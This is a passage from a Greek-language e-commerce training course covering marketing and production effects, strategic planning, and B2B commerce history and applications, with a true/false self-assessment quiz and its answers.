Συμμαχίες εταιριών Πολλές εταιρείες συνειδητοποιούν ότι η σύναψη συμμαχιών με άλλες επιχειρήσεις ακόμα και με ανταγωνιστές, μπορεί να αποφέρει οφέλη 1. Βελτίωση του Άμεσου Μάρκετινγκ, 2. Μεταμόρφωση των επιχειρήσεων-οργανισμών, 3. Επαναπροσδιορισμός των επιχειρήσεων Επίδραση του ΗΕ :

Προώθηση προιόντων.

•

Νέα Κανάλια Πωλήσεων.

•

Άμεση εξοικονόμηση χρηματικών πόρων.

•

Μείωση του χρόνου επεξεργασίας της παραγγελίας.

•

Εξυπηρέτηση των πελατών.

•

Η Δημόσια εικόνα της επιχείρησης (πχ Amazon.com, Dell, Wal-Mart).

•

Τεχνολογία και Οργανωτικές Αλλαγές

•

Αλλαγή στη φύση της εργασίας

•

Δυνατότητα για νέα προϊόντα

•

Νέα επιχειρησιακά πρότυπα

Άλλες επιδράσεις σχετικές με το μάρκετινγκ: Εξατομίκευση. Το ηλεκτρονικό εμπόριο προσφέρει τη δυνατότητα της εξατομίκευσης των προιόντων και των υπηρεσιών Άμεση Διαφήμιση. Παράλληλα με το άμεσο μάρκετινγκ και την εξατομίκευση των προϊόντων, ακολουθεί η διαφήμιση ένας -προς- έναν ή η άμεση διαφήμιση, η οποία θεωρείται πολύ πιο αποτελεσματική από τη μαζική διαφήμιση.

Συστήματα Λήψης Παραγγελιών.

Τα συστήματα παραγγελιών, δηλαδή η λήψη παραγγελιών από τους πελάτες, μπορούν να βελτιωθούν θεαματικά όταν πραγματοποιούνται online και με πολύ λιγότερα λάθη.

Οι Αγορές.

Οι παραδοσιακές αγορές υφίστανται μεταβολές εξαιτίας του ηλεκτρονικού εμπορίου. Τα παραδοσιακά φυσικά καταστήματα τείνουν να αντικατασταθούν από τα ηλεκτρονικά. Στα προϊόντα που είναι ψηφιακά, όπως η μουσική, το λογισμικό και οι πληροφορίες, αυτές οι αλλαγές είναι θεαματικές. Αυτό το γεγονός έχει επίπτωση κυρίως στην συσκευασία και μειώνει την ανάγκη για τα παραδοσιακά συστήματα διανομής.

Επιπτώσεις στην παραγωγή

Το ηλεκτρονικό εμπόριο επιφέρει αλλαγές στα συστήματα παραγωγής, από αυτά της μαζικής παραγωγής σε συστήματα που καθορίζονται από τη ζήτηση και σε just in time παραγωγή. Πλέον, τα συστήματα παραγωγής ενοποιούνται με την οικονομική διεύθυνση, το μάρκετινγκ και με άλλα λειτουργικά συστήματα καθώς και με εταιρικούς συνεταίρους, πελάτες κλπ.

Με τη χρήση ERP συστημάτων βασισμένων στο Web, τα οποία υποστηρίζονται από λογισμικό όπως το SAP R/3 οι παραγγελίες που στέλνουν οι πελάτες προωθούνται στους σχεδιαστές (που χρησιμοποιούν συστήματα CAD) ή στο χώρο της παραγωγής μέσα σε λίγα δευτερόλεπτα. Σε πολλές περιπτώσεις ο χρόνος προετοιμασίας και σχεδιασμού για να φθάσει ένα προϊόν στην παραγωγή μειώνεται θεαματικά, έως και 50% ή και περισσότερο.

Το ηλεκτρονικό εμπόριο απαιτεί εξειδικευμένα συστήματα οικονομικής διαχείρισης και λογιστικής με προεξάρχοντα τα συστήματα πληρωμών. Οι παραδοσιακοί τρόποι πληρωμής αποδεικνύονται αναποτελεσματικοί και ακατάλληλοι για το ηλεκτρονικό Επιχειρείν. Η χρήση των νέων συστημάτων πληρωμών όπως είναι το ψηφιακό χρήμα, είναι ιδιαίτερα πολύπλοκη, διότι ενέχει νομικές πτυχές και συμφωνίες σε διεθνή πρότυπα. Τα συστήματα πληρωμών περιλαμβάνουν θέματα ασφαλείας, μεταφορά κεφαλαίων μεταξύ οργανισμών και ιδρυμάτων, κα.

Πολλές από τις δραστηριότητες του ΗΕ είναι ιδιαίτερα πολύπλοκες, προϋποθέτουν κάποιον ενδιάμεσο, μία μεσολαβούσα τράπεζα, μία εταιρεία παροχής του κατάλληλου λογισμικού για το ΗΕ, τις τράπεζες που διενεργούν τις πληρωμές κλπ. Οι πληρωμές των αμοιβών και προμηθειών που δικαιούνται να λαμβάνουν τα συμβαλλόμενα μέρη, αποτελούν και αυτές μέρος τέτοιων συστημάτων και θα πρέπει να προβλέπεται ο σχεδιασμός τους και τα θέματα ασφαλείας.

Το ηλεκτρονικό εμπόριο αλλάζει τον τρόπο επιλογής, αξιολόγησης, προαγωγής, και ανάπτυξης των εργαζομένων. Τα ενδοεταιρικά δίκτυα (intranets) παίζουν έναν πολύ σημαντικό ρόλο σε αυτή τη μεταμόρφωση. Η εκπαίδευση και οι μέθοδοι εκμάθησης αλλάζουν μορφή. Η εξ αποστάσεως εκπαίδευση αναπτύσσεται με ταχείς ρυθμούς, παρέχοντας δυνατότητες αδιανόητες στο παρελθόν. Οι εταιρείες παρατηρούν μείωση στις δαπάνες εκπαίδευσης της τάξεως του 50% και πλέον και ταa μαθήματα μέσω ηλεκτρονικών υπολογιστών ακόμα και σε πανεπιστήμια γνωρίζουν συνεχή αύξηση Ποια είναι η έκταση του Ηλεκτρονικού Εμπορίου ,Με ποιόν τρόπο θα αποτιμήσει κανείς το μέγεθος των πιέσεων που δέχεται μία επιχείρηση

Οι στόχοι του στρατηγικού σχεδιασμού πρέπει να είναι: •

Εκσυγχρονισμός επιχειρήσεων

•

Βελτίωση των παρεχομένων προς τον πολίτη υπηρεσιών

•

Ενίσχυση της ανταγωνιστικότητας

•

Ευημερία των επιχειρήσεων στο διαδίκτυο

•

Αξιοποίηση της γεωγραφικής θέσης της επιχείρησης με τα σύγχρονα δεδομένα

ψηφιακής εποχής

Οι βασικές δράσεις του Στρατηγικού σχεδιασμού είναι:

•

Ενθάρρυνση/υποστήριξη των επιχειρήσεων για εφαρμογή/χρήση του ηλεκτρονικού

εμπορίου

•

Ενημέρωση κοινού/καταναλωτών/πελατών με στόχο την ενίσχυση του βαθμού

εμπιστοσύνης τους προς το ηλεκτρονικό εμπόριο •

Προώθηση μέτρων πολιτικής της επιχείρησης για ανάπτυξη του ηλεκ. Εμπορίου

Δημιουργία γραφείου e-Δράση με προτεραιότητες για:

•

Συμβουλευτική υποστήριξη σε θέματα ΤΠΕ

•

Συστηματική ενημέρωση των επιχειρήσεων / καταναλωτών για τις επί μέρους θετικές

πτυχές και εξελίξεις του ηλεκτρονικού εμπορίου

•

Προώθηση μέτρων υποστήριξης και ενθάρρυνσης του ηλεκτρ. Εμπορίου

Μέτρα για την Προώθηση του ΗΕ είναι: •

Νομοθετικό Πλαίσιο

•

Ολοκλήρωση Στρατηγικού Σχεδίου για την ανάπτυξη του ηλεκτρονικού εμπορίου

στην επιχείρηση •

Σύσταση Γραφείου e-Δράση

•

Πρόσληψη Διευθυντή Έργου

•

Εκπόνηση Προγράμματος «Επιχειρείτε Διαδικτυακά»

Σύνοψη Εκπαιδευτικής Ενότητας 2 Στην ενότητα 2, παρουσιάστηκαν αντικείμενα που αναφέρονται: ΕDI, Basic e-Commerce Communities of Commerce Collaborative Commerce Ηλεκτρονικό Επιχειρείν Οι υποσχέσεις του m-commerce Mobile Commerce Infrastructure Ηλεκτρονικές Αγορές E-marketplaces

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 2 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις ΕΡΩΤΗΣΗ

1

Εμπόριο θεωρείται η διεξαγωγή συναλλαγής μεταξύ εμπορικών

εταίρων.

ΑΠΑΝΤΗΣΗ 1

ΕΡΩΤΗΣΗ

2

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Ο όρος «ηλεκτρονικό εμπόριο» φαίνεται αρκετά ευρύς για κάποιους

άλλους, οι οποίοι προτιμούν αντ’ αυτού τον όρο «ηλεκτρονικό Επιχειρείν». ΑΠΑΝΤΗΣΗ 2

ΕΡΩΤΗΣΗ

3

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Οι μεσάζοντες (μεσίτες) παρέχουν υπηρεσίες στους αγοραστές και τους

πωλητές.

ΑΠΑΝΤΗΣΗ 3

ΕΡΩΤΗΣΗ

4

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Ένα μεγάλο κομμάτι της κουλτούρας του Διαδικτύου μπορεί να αλλάξει

και να γίνει βασισμένο στις συσκευές κινητής τηλεφωνίας.

ΑΠΑΝΤΗΣΗ 4

ΕΡΩΤΗΣΗ

5

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Πολλά από τα θέματα του παραδοσιακού μάρκετινγκ είναι συναφή με

το online Ηλεκτρονικό Εμπόριο. ΑΠΑΝΤΗΣΗ 5

ΕΡΩΤΗΣΗ

6

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το Ηλεκτρονικό Εμπόριο δέχεται επιδράσεις από τις διάφορες

οικονομικές δυνάμεις και έχει μικρό αντίκτυπο στις παγκόσμιες και εθνικές οικονομίες. ΑΠΑΝΤΗΣΗ 6

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

ΕΡΩΤΗΣΗ

7

Το Ηλεκτρονικό Εμπόριο δίνει τη δυνατότητα στον καταναλωτή να

διενεργεί αγορές και άλλες συναλλαγές σε εικοσιτετράωρη βάση, όπου κι αν βρίσκεται.

ΑΠΑΝΤΗΣΗ 7

ΕΡΩΤΗΣΗ

8

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το ηλεκτρονικό εμπόριο επιτρέπει σε όλο και περισσότερα άτομα να

εργάζονται στο σπίτι και να κυκλοφορούν λιγότερο για ψώνια, περιορίζοντας έτσι την κίνηση στους δρόμους και τη μείωση της ατμοσφαιρικής ρύπανσης.

ΑΠΑΝΤΗΣΗ 8

ΕΡΩΤΗΣΗ

9

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το

ηλεκτρονικό

εμπόριο

δεν

προσφέρει

τη δυνατότητα

της

εξατομίκευσης των προιόντων και των υπηρεσιών.

ΑΠΑΝΤΗΣΗ 9

ΕΡΩΤΗΣΗ 10

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Οι παραδοσιακές αγορές υφίστανται μεταβολές εξαιτίας του

ηλεκτρονικού εμπορίου. ΑΠΑΝΤΗΣΗ 10

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 2 1:

Απάντηση 1. A

2:

Απάντηση 2. Β

3:

Απάντηση 3. Α

4:

Απάντηση 4. Α

5:

Απάντηση 5. Α

6:

Απάντηση 6. Β

7:

Απάντηση 7. Α

8:

Απάντηση 8. Α

9:

Απάντηση 9. Β

10:

Απάντηση 10. Α

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 3: Ηλεκτρονικά Καταστήματα στο Internet Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση αντικειμένων που αφορούν τις διεπιχειρηματικές συναλλαγές Β2Β και την δημιουργία ηλεκτρονικού καταστήματος. ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού αυτής της εκπαιδευτικής ενότητας θα έχετε αποκτήσει γνώσεις και δεξιότητες που αναφέρονται: Βασικά Χαρακτηριστικά Β2Β Βασικά Στοιχεία Β2Β Ιστορική Αναδρομή Β2Β Κυριότερες Εφαρμογές Β2Β Στόχοι Β2Β Ηλεκτρονικού Εμπορίου Χρησιμότητα, χαρακτηριστικά και Πλεονεκτήματα του Β2Β Ηλεκτρονικού Εμπορίου Έρευνα αγοράς Όνομα Ηλεκτρονικού Καταστήματος Το Εικαστικό Κομμάτι Του Σχεδιασμού Εύκολα Εργαλεία Πλοήγησης Ηλεκτρονικός Κατάλογος Προίοντων ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ Electronic Business to Business, e-commerce, Supplier oriented marketing, forward auctions, liquidate auction, marketing efficiency auction, reverse auctions.

Ορισμός, η εξέλιξη και το θεσμικό πλαίσιο των διεπιχειρηματικών συναλλαγών Β2Β To Ηλεκτρονικό εμπόριο επιχείρησης προς επιχείρηση γνωστό και ως Ηλεκτρονικό B2B (Electronic Business to Business) ή απλώς B2B, αναφέρεται σε συναλλαγές ανάμεσα σε επιχειρήσεις, που διεξάγονται ηλεκτρονικά κυρίως μέσω του ∆ιαδικτύου αλλά και με χρήση άλλων τύπων προσαρμοσμένων ιδιωτικών δικτύων Η/Υ όπως για παράδειγμα το Extranet . Τέτοιες συναλλαγές μπορούν να διεξάγονται ανάμεσα σε μια επιχείρηση με άλλες επιχειρήσεις του ίδιου κλάδου είτε αυτοί είναι πελάτες είτε προμηθευτές της, καθώς και ανάμεσα σε επιχειρήσεις διαφορετικού κλάδου.

Εκπαιδευτική Υποενότητα 3.1 Βασικά Χαρακτηριστικά Β2Β To B2B Ηλεκτρονικό εμπόριο είναι μια ηλεκτρονική μορφή επιχειρηματικών συναλλαγών μεταξύ εταιριών όπου με τη χρήση πολλών διαθέσιμων εφαρμογών μπορεί και δίνει τη δυνατότητα σε μια επιχείρηση ή έναν οργανισμό να σχηματίσουν μια ηλεκτρονική μορφή σχέσεων με διανομείς, πελάτες , προμηθευτές και άλλους εταίρους. Το Β2Β δεν περιλαμβάνει μόνο τις συναλλαγές μέσω του internet, αλλά και τις ανταλλαγές πληροφοριών πριν τις συναλλαγές καθώς επίσης και τις υπηρεσίες μετά από αυτές. Από την οπτική γωνία των συναλλασσόμενων εταιριών, το B2B ηλεκτρονικό εμπόριο είναι ένα μέσο για την διευκόλυνση της διαχείρισης των συμβάσεων που χρησιμοποιούν ή των συμφωνιών που κάνουν μέσω της μείωσης της τιμής αγοράς αλλά κ του χρόνου που χρειάζεται για να ολοκληρωθεί μια συναλλαγή. Το Β2Β e-commerce πρόκειται για τον δυναμικότερο και ταχύτερο αναπτυσσόμενο κλάδο του ηλεκτρονικού εμπορίου καθώς αντιπροσωπεύει το 70% του συνόλου του, και αυτό είναι αποτέλεσμα των εκατομμυρίων συναλλαγών, που περιλαμβάνουν οι εφαρμογές B2B, των τεράστιων επενδύσεων που γίνονται, ενώ η ταχύτητα και η ακρίβεια στις συναλλαγές μπορούν να αποτελέσουν ένα μεγάλο ανταγωνιστικό πλεονέκτημα σε σχέση με άλλους τρόπους εμπορίου. Μπορεί να αναφερθεί ως κύριο χαρακτηριστικό αυτού του είδους ηλεκτρονικού εμπορίου η προσπάθεια των εταιριών να αυτοματοποιήσουν τις διαδικασίες τόσο της προμήθειας όσο και της πώλησης υλικών αλλά και παροχής υπηρεσιών. Με αυτόν τον τρόπο κατορθώνουν να τυποποιήσουν τις εμπορικές τους δραστηριότητες και να κερδίσουν πολύτιμο χρόνο εκτελώντας αυτές τις δραστηριότητες με ταχύτητα, πράγμα που θα βοηθήσει τις εταιρίες αυτές να περιορίσουν το κόστος που απαιτείται. Σύμφωνα με εκτιμήσεις το ηλεκτρονικό εμπόριο μεταξύ των επιχειρήσεων αναμένεται να αυξηθεί σε πολύ μεγάλο βαθμό τα επόμενα χρόνια και θα συνεχίσει να αποτελεί ένα πολύ σημαντικό κεφάλαιο στην ηλεκτρονική αγορά. Εκτιμάται επίσης ότι ο τομέας του Β2Β θα είναι σε μέγεθος οχτώ με δέκα φορές μεγαλύτερος από τον τομέα του Β2C (ηλεκτρονικό εμπόριο μεταξύ επιχειρήσεων και καταναλωτών).

Βασικά Στοιχεία Β2Β Οι εφαρμογές ηλεκτρονικού εμπορίου Β2Β καλύπτουν όλες τις συναλλαγές και την επικοινωνία μεταξύ δύο ή περισσοτέρων επιχειρήσεων ή οργανισμών. Για να μπορέσουν να επιτευχθούν αυτές οι συναλλαγές θα πρέπει να υπάρχουν ορισμένα στοιχεία για να τα υποστηρίξουν, δηλαδή κάποια συστατικά μέρη που απαιτούνται τα οποία είναι : •

Εταιρίες που κάνουν πωλήσεις (προμηθευτές)

•

Εταιρίες που αγοράζουν (πελάτες)

•

Τρίτοι ενδιάμεσοι που παρέχουν υπηρεσίες (π.χ. χρηματοπιστωτικοί οργανισμοί) ∆ιανομείς ( just in time - JIT διανομή)

•

Πλατφόρμα ∆ικτύου

•

Πρωτόκολλο επικοινωνιών

•

Πληροφοριακά συστήματα υποστήριξης τόσο στην πλευρά του πωλητή όσο και στην πλευρά του αγοραστή.

Ιστορική Αναδρομή Β2Β Οι ηλεκτρονικές αγορές, δηλαδή τα ηλεκτρονικά επιχειρηματικά μοντέλα ηλεκτρονικού εμπορίου όπου έχουν τη συνάθροιση πολλών προμηθευτών και πολλών αγοραστών, εμφανίστηκαν στο χώρο του ηλεκτρονικού εμπορίου στα μέσα της δεκαετίας του 1990. Ήταν μια μορφή ηλεκτρονικού εμπορίου που υποσχόταν πολλά στην αγορά με κυριότερο τις λύσεις που θα έδινε στις εμπορικές συναλλαγές κυρίως μεταξύ των επιχειρήσεων. Πριν όμως είχαν εμφανιστεί τα συστήματα ηλεκτρονικής μεταφοράς χρηματικών πόρων μεταξύ των τραπεζών το 1970, που άλλαξαν τη μορφή των αγορών και είναι δημοφιλή μέχρι και σήμερα. Ακολούθησε το 1980, η εφαρμογή ηλεκτρονικής επικοινωνίας επιχειρήσεων μέσω συστημάτων EDI και ηλεκτρονικού ταχυδρομείου όπου σε συναλλαγές που απαιτούνταν έντυπα για τις παραγγελίες, τα συνοδευτικά έγγραφα και τις επιταγές, αντικαταστήθηκαν παίρνοντας ηλεκτρονική μορφή μειώνοντας το κόστος και το χρόνο. Τη δεκαετία του 1990 έχουμε και την εμφάνιση του παγκόσμιου ιστού που έκανε την επικοινωνία και την εύρεση πληροφοριών πολύ πιο εύκολη για τις επιχειρήσεις. Τότε έχουμε και την μεγάλη ανάπτυξη και εξάπλωση του ηλεκτρονικού εμπορίου αφού μπορούσαν πλέον οι επιχειρήσεις ακόμη και οι μικρότερες να ανταγωνιστούν τις μεγαλύτερες, και επίσης να πραγματοποιούν μεγάλο όγκο συναλλαγών. Στα τέλη αυτής της δεκαετίας εμφανίστηκαν οι πρώτοι μέθοδοι κρυπτογράφησης των αρχείων των συναλλαγών και της εξακρίβωσης των στοιχείων ταυτότητας των συναλλασσομένων για ασφάλεια και επίσης πολύ σημαντικό στοιχείο είναι και οι νομοθετικές αλλαγές που συνέβησαν όσον αφορά τις επικοινωνίες και τις εισαγωγές και εξαγωγές μεταξύ επιχειρήσεων και την πραγματοποίηση ασφαλών διεθνών εμπορικών συναλλαγών. Η εξέλιξη του Β2Β ηλεκτρονικού εμπορίου αποτελείται αρχικά κυρίως από τρείς φάσεις. Η πρώτη φάση ήταν η Ηλεκτρονική Ανταλλαγή ∆εδομένων ( Electronic Data Interchange – EDI ), όπου υπήρχε χαμηλή προσαρμοστικότητα, υψηλό κόστος χρήσης και περιορισμένες δυνατότητες παραγγελιών. Η δεύτερη φάση ήταν το ∆ιεπιχειρησιακό Ηλεκτρονικό Εμπόριο χωρίς Ηλεκτρονικούς ∆ιαμεσολαβητές, όπου έχουμε μεγαλύτερη

προσαρμοστικότητα στις ανάγκες του περιβάλλοντος και της αγοράς, χαμηλότερο κόστος χρήσης και έχουμε την εμφάνιση των Ηλεκτρονικών Καταλόγων. Τέλος έχουμε την τρίτη και τελευταία φάση, τις ∆ιεπιχειρησιακές Ηλεκτρονικές Αγορές, με την οποία, εκτός των ηλεκτρονικών καταλόγων, έχουμε και την εμφάνιση των ∆ημοπρασιών, των Υπηρεσιών Ηλεκτρονικών Αιτημάτων κ.ά. Ένας πολύ σημαντικός παράγοντας ο οποίος επηρέασε σε μεγάλο βαθμό την εξέλιξη του Β2Β, ήταν η ανακάλυψη του διαδικτύου, γιατί έτσι δημιουργήθηκε ένα κοινό μέσο επικοινωνίας και ανταλλαγής πληροφοριών μεταξύ των επιχειρήσεων σε παγκόσμιο επίπεδο. Πολύ σημαντικά επίσης στοιχεία ήταν οι ηλεκτρονικοί κατάλογοι, η δημιουργία των οποίων έπαιξε μεγάλο ρόλο στην ανάπτυξη των διαδικτυακών καταστημάτων βοηθώντας την καλύτερη επικοινωνία τόσο μέσα στην επιχείρηση όσο και εξωτερικά με άλλους οργανισμούς, επιχειρήσεις και εμπορικούς συνεργάτες. Άλλο πολύ σημαντικό στοιχείο ήταν η ανάπτυξη των Πληροφοριακών Συστημάτων για την εσωτερική διαχείριση των πόρων της επιχείρησης (ERP). Οι πρώτες Β2Β ηλεκτρονικές αγορές δημιουργήθηκαν από ουδέτερους διαμεσολαβητές ή μεσάζοντες οι οποίοι προσπαθούσαν να προσελκύσουν προμηθευτές και αγοραστές για συγκεκριμένους βιομηχανικούς κλάδους. Στην Ευρώπη η πρώτη διεπιχειρησιακή ηλεκτρονική αγορά δημιουργήθηκε το 1996 από την εταιρία ‘’British Telecom’’ με την ονομασία ‘’BT Trading Places’’, η οποία όμως δεν είχε επιτυχία, σε αντίθεση με τις αγορές Β2Β στις Ηνωμένες Πολιτείες της Αμερικής όπου υπήρχε επιτυχία από την πρώτη στιγμή εμφάνισής του. Έτσι έγινε μια δεύτερη προσπάθεια δύο χρόνιa αργότερα το 1998 με μια νέα πιο βελτιωμένη έκδοση του ‘’BT Trading Places’’ από Ευρωπαϊκής πλευράς με επιτυχία, και από τότε άρχισαν και στην Ευρώπη να κάνουν την εμφάνιση τους καθημερινά ολοένα και περισσότερες Β2Β Ηλεκτρονικές Αγορές. Από τα μέσα του 1990 η δημιουργία Β2Β πολλαπλασιάστηκε και κυρίως στις Ηνωμένες Πολιτείες, όπου από τα μέσα του 1998 έως τα μέσα του 2000 δημιουργήθηκαν πάνω από 1500 νέες Β2Β ηλεκτρονικές αγορές.

Κυριότερες Εφαρμογές Β2Β Οι κυριότερες εφαρμογές ηλεκτρονικού εμπορίου Β2Β είναι : •

e- Procurement – Ηλεκτρονικές προμήθειες. Έχει να κάνει με μεγάλες εταιρίες ή με δημόσιους οργανισμούς που ασχολούνται με ηλεκτρονικές προμήθειες στο διαδίκτυο, έχοντας ως όφελος την αυτοματοποίηση των διαδικασιών προμηθειών.

•

e- Auctions – ηλεκτρονικές δημοπρασίες. Αφορά ιστοσελίδες όπου γίνονται δημοπρασίες και λαμβάνουν μέρος η επιχείρηση ή ο οργανισμός, που οργανώνει τη δημοπρασία και καθορίζει τους όρους με τους οποίους θα πραγματοποιηθεί, ο

προμηθευτής, που προσφέρει τα προϊόντα του προς πώληση, και ο πελάτης ο οποίος προσφέρει τιμή για τα προϊόντα που θέλει να αγοράσει. •

e- Marketplaces, Collaborative Platforms- ηλεκτρονικές αγορές. Αφορά μια επιχείρηση-ενδιάμεσο που εμπλέκεται μεταξύ αγοραστών και πωλητών με σκοπό να δημιουργήσει μια ηλεκτρονική αγορά.

•

E- Banking – ηλεκτρονικές τραπεζικές εργασίες. Αναφέρεται σε όλους τους τρόπους που μπορεί κάποιος να διαχειριστεί τις σχέσεις του με τις τράπεζες και τις συναλλαγές του σχετικά με τους λογαριασμούς του χρησιμοποιώντας ηλεκτρονικά μέσα.

•

Supplier oriented marketing - μάρκετινγκ προσανατολισμένο στους προμηθευτές. Αφορά εταιρίες που κάνουν πωλήσεις ηλεκτρονικά και χρησιμοποιούν για το σκοπό αυτόν ιστοσελίδες με ηλεκτρονικούς καταλόγους για τους πελάτες.

Άλλες Υπηρεσίες που Χρησιμοποιούν Β2Β Συναλλαγές Εκτός από αυτές τις εφαρμογές όμως, το διεπιχειρησιακό ηλεκτρονικό εμπόριο έχει εισχωρήσει και σε άλλους τομείς και χρησιμοποιείται όλο και συχνότερα, όπως για ταξιδιωτικές και τουριστικές υπηρεσίες, όπου μεγάλες εταιρίες των οποίων οι υπάλληλοι είναι αναγκαίο να ταξιδεύουν πολύ συχνά για τις εταιρικές τους υποχρεώσεις, κλείνουν ειδικές συμφωνίες διαδικτυακά με ταξιδιωτικούς πράκτορες για πιο οικονομικά εισιτήρια. Επίσης οι μεσιτικές εταιρίες το χρησιμοποιούν, κάνοντας πιο εύκολο για κάποια επιχείρηση που ψάχνει να βρει και να συγκρίνει π.χ. κτήρια για την έδρα της ή για καταστήματά της. Το κράτος ακόμα πωλεί ακίνητα σε δημοπρασίες σε συγκεκριμένες ιστοσελίδες για λίγους και συγκεκριμένους πελάτες. Ακόμα μία περίπτωση είναι και οι διαδικτυακές χρηματοδοτήσεις σε συγκεκριμένες ιστοσελίδες. Τέτοιου είδους ιστοσελίδες είναι και οι www.accionusa.org, www.lendingclub.com κ.ά., στις οποίες υπάρχουν δανειστές που χρησιμοποιούν τις υπηρεσίες του Β2Β ώστε να μπορούν να παρέχουν σε εταιρίες που έχουν ανάγκη διάφορα επιχειρηματικά δάνεια, χρησιμοποιώντας το internet αλλά ακόμα πιο συχνά το extranet για το σκοπό αυτό.

Στόχοι Β2Β Ηλεκτρονικού Εμπορίου Αυτό μπορεί να συμβεί διότι οι εφαρμογές αυτές μπορούν να βελτιώσουν αλλά και να απλοποιήσουν τις διάφορες διαδικασίες που λαμβάνουν χώρα μέσα σε αυτές, καθώς επίσης να επιτύχουν γρηγορότερες συναλλαγές, αφού η ταχύτητα είναι ένας πολύ σημαντικός παράγοντας για την επιτυχία των σύγχρονων επιχειρήσεων, αλλά και όσο το δυνατόν λιγότερα σφάλματα στις συναλλαγές τους. Με αυτόν τον τρόπο μπορούν επίσης να επιτύχουν μείωση του κόστους, αύξηση της παραγωγικότητας καθώς επίσης και αύξηση των ευκαιριών

για συνεργασία με άλλες εταιρίες, πράγμα που είναι πολύ σημαντικό τόσο στην εικόνα όσο και στην πορεία και στο μέλλον της επιχείρησης. Οι συναλλαγές Β2Β ξεκίνησαν να εφαρμόζονται πριν την δημιουργία του Internet με χρήση της τεχνολογίας EDI αρχικά και Internet – EDI αργότερα. Σε πολλές περιπτώσεις για να πραγματοποιηθούν οι διάφορες διαδικασίες συναλλαγών, είναι δυνατή η χρήση συστημάτων ERP, έχοντας ως αποτέλεσμα την αυτοματοποίηση και την συστηματοποίηση των διαδικασιών αυτών που γίνονται μέσα στην επιχείρηση, όπως για παράδειγμα ο προγραμματισμός των παραγγελιών και ο έλεγχος των αποθεμάτων, έχοντας όμως όλες αυτές οι συναλλαγές έναν κοινό παρονομαστή, την πραγματοποίησή τους ηλεκτρονικά και μόνο. Οι ηλεκτρονικές συναλλαγές Β2Β έχουν την δυνατότητα να πραγματοποιούνται άμεσα, δηλαδή ο πωλητής να συναλλάσετε με τον αγοραστή απ ΄ ευθείας, είτε μέσω ενδιάμεσων, δηλαδή μέσω τρίτων φορέων. Πολύ σημαντικό στοιχείο όμως, στο οποίο θα πρέπει να δώσουν βάση όλες οι επιχειρήσεις που ασχολούνται με ηλεκτρονικό εμπόριο και κυρίως οι επιχειρήσεις-προμηθευτές, είναι ο μηχανισμός διανομών στις επιχειρήσεις πελάτες. Η λειτουργία πολλαπλών κέντρων διανομής ή αλλιώς διάσπαση παραγγελιών είναι μια λύση όπου και δίνεται η δυνατότητα επιλογής ανάλογα με την περίπτωση και το όφελος. Για τη σωστή λειτουργία όμως του μηχανισμού, υπάρχουν και ορισμένα κριτήρια που θα πρέπει να ληφθούν υπόψη, όπως η διαθεσιμότητα των αποθεμάτων, όπου θα πρέπει να εξασφαλισθεί πρώτα το γεγονός ότι υπάρχουν διαθέσιμα προϊόντα στο κάθε κέντρο για την κάθε παραγγελία. Επίσης είναι η απόσταση του κέντρου με τον πελάτη, όπου σε κάθε περίπτωση επιλέγεται το κέντρου που είναι πιο κοντά ώστε να υπάρχει μικρότερο κόστος μεταφοράς. Ακόμα ένα κριτήριο είναι η δυνατότητα παροχής προστιθέμενης αξίας, δηλαδή με κάθε παραγγελία να υπάρχει και η εκτέλεση κάποιων επιπρόσθετων δραστηριοτήτων, όπως για παράδειγμα συγκεκριμένος τρόπος συσκευασίας των προϊόντων, πρόσθεση συνοδευτικών διαφημιστικών ή και εξαρτημάτων, δείγματα νέων προϊόντων κτλ. Τέλος είναι και η ηλικία των αποθεμάτων, όπου σε περιπτώσεις προϊόντων που έχουν περιορισμένο χρόνο ζωής, να υπάρχει η δυνατότητα στον αγοραστή να επιλέξει κάποιο άλλο κέντρο διανομής στο οποίο θα υπάρχουν «φρέσκα» προϊόντα Χρησιμότητα, χαρακτηριστικά και Πλεονεκτήματα του Β2Β Ηλεκτρονικού Εμπορίου Με την πραγματοποίηση των συναλλαγών μέσω τρίτων φορέων αναφερόμαστε σε μία άλλη μορφή που παίρνει το Β2Β, αυτήν της Ηλεκτρονικής ή ∆ιαδικτυακής Αγοράς ή αλλιώς e – Marketplace. Η Ηλεκτρονική Αγορά αναφέρεται σε δικτυακές τοποθεσίες στις οποίες συγκεντρώνονται

επιχειρήσεις

που

ενδιαφέρονται

για

συναλλαγές.

Επίσης

πραγματοποιούνται διάφορες εμπορικές πράξεις όπως ανταλλαγή προϊόντων ή ηλεκτρονικοί

πλειστηριασμοί. Οι Ηλεκτρονικές Αγορές χωρίζονται σε δύο κατηγορίες με βάση το πεδίο δράσης τους :  Οριζόντιες, όπου εξυπηρετούνται ετερόκλητες συναλλασσόμενες επιχειρήσεις και έχουν να κάνουν συνήθως με ηλεκτρονικές αγορές για την διακίνηση υπηρεσιών ή προϊόντων γενικής χρήσης, όπως π.χ. είδη γραφείου.  Κάθετες, όπου εξυπηρετούνται επιχειρήσεις που ανήκουν στον ίδιο τομέα, όπως για παράδειγμα η αυτοκινητοβιομηχανία, κέτερινγκ κλπ. , μπορούν να διαχωριστούν σε τέσσερεις με βάση το πλήθος των εταιρειών που συμμετέχουν σε μια ηλεκτρονική αγορά : •

Ηλεκτρονικές αγορές μεταξύ πολλών προς πολλές επιχειρήσεις

•

Ηλεκτρονικές αγορές μεταξύ πολλών προς λίγες  Ηλεκτρονικές αγορές μεταξύ πολλών προς μία επιχείρηση

•

